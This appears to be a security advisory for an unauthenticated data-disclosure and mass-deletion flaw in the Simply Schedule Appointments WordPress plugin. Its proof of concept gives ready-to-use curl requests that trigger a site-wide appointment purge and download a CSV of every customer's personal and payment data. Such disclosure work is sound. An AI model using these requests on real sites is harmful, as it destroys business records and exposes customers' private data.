Simply Schedule Appointments < 1.6.12.6 – Unauthenticated Appointment Data Disclosure and Mass Deletion via purge Endpoint | CVE 2026-16540

Description

The plugin does not correctly restrict a bulk appointment operation to the requester's own records, allowing unauthenticated users to retrieve the personal data of all appointments across the site and, on premium editions, to permanently delete them.

Proof of Concept

Simply Schedule Appointments <= 1.6.12.4 - Unauthenticated Appointment PII Disclosure and Mass Deletion via the purge endpoint.

Prerequisites (default on any SSA site accepting bookings):
- A page hosting the [ssa_booking] booking form.
- The deletion impact requires a premium SSA edition (the staff feature). The PII-disclosure impact works on the free edition too (the backup CSV is written before the delete, which on free rolls back).

Attacker steps (entirely unauthenticated):

1) Load a page with the booking form and book one free appointment through the public booking flow. The booking confirmation/API response returns your own appointment id and its public_token (a per-appointment token). No account is needed.
   Let APPT_ID  = <your appointment id>
   Let APPT_TOK = <your appointment public_token>

2) Trigger a site-wide purge using only YOUR appointment's id + token, with the CSV backup left at its default and an attacker-chosen drain_id:
   curl -s "https://victim.example/wp-json/ssa/v1/appointments/purge?id=${APPT_ID}&token=${APPT_TOK}&purge_past_appointments=true&purge_abandoned_appointments=true&purge_all_canceled_appointments=true&drain_id=leak1"
   - Premium: HTTP 200; ALL past/abandoned/canceled appointments across the whole site are permanently deleted (only non-matching ones, e.g. your future booking, remain). The JSON response also returns file_url for the backup CSV.
   - Free: HTTP 500 (deletion rolls back), but the backup CSV is already written.

3) Download the backup CSV of every matched appointment - full customer PII (name, email, phone), payment amounts, meeting URLs - at the predictable path:
   curl -s "https://victim.example/wp-content/uploads/ssa/csv/deleted-appointments-leak1.csv"

Negative control: repeating step 2 with a random/incorrect token returns HTTP 401 ("rest_forbidden") and performs no read or delete - confirming the attack depends on the legitimately-obtained own-appointment token, not an unauthenticated free-for-all.